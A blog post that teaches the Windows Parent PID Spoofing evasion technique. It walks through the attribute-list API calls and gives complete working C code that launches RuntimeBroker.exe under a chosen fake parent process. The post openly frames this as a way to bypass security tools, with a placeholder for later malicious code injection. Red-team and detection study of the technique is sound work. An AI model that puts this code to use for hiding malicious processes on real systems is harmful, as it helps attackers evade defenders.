Home Parent PID Spoofing
Post
Cancel

Parent PID Spoofing

PPID Spoofing

f1a5584f-683f-4f06-9934-e60aedb0f26e.webp

Parent Process ID Spoofing is a obfuscation technique used to modify the PPID of a process and tampering the relationship between two processes.

Security tools often look for abnormal parent-child processes, so this technique can be leveraged to bypass these detections by changing the PPID of a spawned chill process to one belonging to another process not related with the malware .

Attributes List

Each process or thread has a data structure that stores attributes about them. These attributes can be modified at runtime because there is information such as priority, state, etc.

The PPID Spoofing technique uses this structure to modify the PPID attribute with another PID.

Step 1: Creating a Process

The first step needed to correctly perform the PPID spoofing technique is to create the child process using the CreateProcess API call with the EXTENDED_STARTUPINFO_PRESENT flag. When using this flag, we can provide some attributes when creating the process by using another structure named STARTUPINFOEXA:

1
2
3
4
typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Attributes List
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
  • StartupInfo is another structure with some information about the start of a process. The only value that has to be set is cb with the size of the structure (sizeof(STARTUPINFOEX)). Reference this documentation for more information.
  • lpAttributeList is created using the InitializeProcThreadAttributeList function call. This is the attributes list with the information we want to tamper.

Step 2: Initialize the Attribute List

We first need to initialize this structure using the function mentioned previously.

1
2
3
4
5
6
BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags, 		// NULL (reserved)
  [in, out]       PSIZE_T                      lpSize
);

dwAttributeCount is a counter with the number of attribute lists needed, so we will use 1.

The function must be called twice:

  • We call the function a first time to initialize the list. In this call, the lpAttributeList parameter must be NULL. The function will return the size of the struct in the lpSize parameter.
  • We call it a second time and we will obtain a valid lpAttributeList pointer. We also use the same lpSize obtained in the first call.

Step 3: Update The Attribute List

Now that we have the attribute list correctly initialized, we need to update it with the false PPID. We will use the UpdateProcThreadAttribute WinAPI call:

1
2
3
4
5
6
7
8
9
BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // return value from InitializeProcThreadAttributeList
  [in]            DWORD                        dwFlags,          
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,    // pointer to the attribute value
  [in]            SIZE_T                       cbSize,            // sizeof(lpValue)
  [out, optional] PVOID                        lpPreviousValue,   
  [in, optional]  PSIZE_T                      lpReturnSize       
);
  • The Attribute flag needs to be set as PROC_THREAD_ATTRIBUTE_PARENT_PROCESS . This tells the function what attribute has to be modified (PPID in our case).
  • lpValue is the new value that will be assigned to the attribute. In this specific case of the PPID, we need to send the handle of the parent process instead of directly sending the PPID.
  • cbSize is the size of the new value (sizeof(HANDLE)).

Putting it all together

In this section I will provide the code to perform all the steps mentioned above. The executable function will require a PID as input. This PID belongs to the process that will be the “fake” parent process of the new created process.

Since in Step 3 we need the handle of the parent process, one of the first things we have to do is to open a handle to that process so we can use it later.

We will put all the PPID modifications in a individual function, hence, the main function looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define TARGET_PROCESS		"RuntimeBroker.exe -Embedding"
int main(int argc, char* argv[]) {

	if (argc < 2) {
		printf("[!] Missing \"Parent Process Id\" Argument \n");
		return -1;
	}
	//Asign the input PID to the variable and define other required variables
	DWORD		dwPPid = atoi(argv[1]),
		dwProcessId = NULL;

	HANDLE		hPProcess = NULL,
		hProcess = NULL,
		hThread = NULL;

	// openning a handle to the parent process
	if ((hPProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPPid)) == NULL) {
		printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
		return -1;
	}

	printf("[i] Spawning Target Process \"%s\" With Parent : %d \n", TARGET_PROCESS, dwPPid);
	// Call the function that performs the PPID modification, the function will return
	// handles to the new process and the main thread. 
	if (!PPIDSpoofing(hPProcess, TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
		return -1;
	}
	printf("[i] Target Process Created With Pid : %d \n", dwProcessId);

/* Malicious actions here */

	printf("[#] Press <Enter> To Quit ... ");
	getchar();
	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}

Now we will create a function that performs all the steps mentioned before.

This function gets as input the handle of the parent process and the new process name and returns the PID of the new process, a handle of the new process and the handle of the main thread of that process.

1
BOOL PPIDSpoofing(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

Next, we will define needed variables and set the memory to zero to ensure that everything is defined as expected:

1
2
3
4
5
6
7
8
9
10
11
	CHAR                               lpPath[MAX_PATH * 2];
	CHAR                               WnDr[MAX_PATH];

	SIZE_T                             sThreadAttList = NULL;
	PPROC_THREAD_ATTRIBUTE_LIST        pThreadAttList = NULL;

	STARTUPINFOEXA                     SiEx = { 0 };
	PROCESS_INFORMATION                Pi = { 0 };

	RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

Now, as explained in Step 1, we will set the cb to the size of the structure. We also get the WinDir environmental variable to concatenate with the process name in order to create the full path of the new process.

1
2
3
4
5
6
7
8
9
	// Setting the size of the structure
	SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);

As explained in Step 2, we need to call the InitializeProcThreadAttributeList function two times. In the first one we will get the size of the Attribute List, so we can allocate memory and call it a second time to obtain the initialized struct in the pThreadAttList variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);

	// Allocating enough memory
	pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
	if (pThreadAttList == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Calling InitializeProcThreadAttributeList again, but passing the right parameters
	if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
		printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

Now, we can perform the Step 3 and update the PPID attribute by using the handle of the parent process. Once this has been performed, we assign this new attribute list to the SiEx variable that has all the Startup Info that will be used to start the new process:

1
2
3
4
5
	if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
		printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	SiEx.lpAttributeList = pThreadAttList;

Finally, we can create the process using the EXTENDED_STARTUPINFO_PRESENT flag and sending the SiEx.StartupInfo object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
	if (!CreateProcessA(
		NULL,
		lpPath,
		NULL,
		NULL,
		FALSE,
		EXTENDED_STARTUPINFO_PRESENT,
		NULL,
		NULL,
		&SiEx.StartupInfo,
		&Pi)) {
		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE \n");
	
	// filling up the OUTPUT parameter with 'CreateProcessA's output'
	*dwProcessId = Pi.dwProcessId;
	*hProcess = Pi.hProcess;
	*hThread = Pi.hThread;

	// cleaning up
	DeleteProcThreadAttributeList(pThreadAttList);
	CloseHandle(hParentProcess);

	// doing a small check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;
}

This code won’t perform any malicious actions by itself, it will just start a process with a fake parent process. Malicious actions should take place later, by injecting code to the newly created process.

Execution

In this example, I execute the code and I send a PID that belongs to the Riot Client Service process:

image.png

If I now search for the new process with PID 32632 and I see the properties, I see that the Riot Games Service Process is it’s parent, instead of the PPIDSpoofing process that I used to create the process:

image.png

This post is licensed under CC BY 4.0 by the author.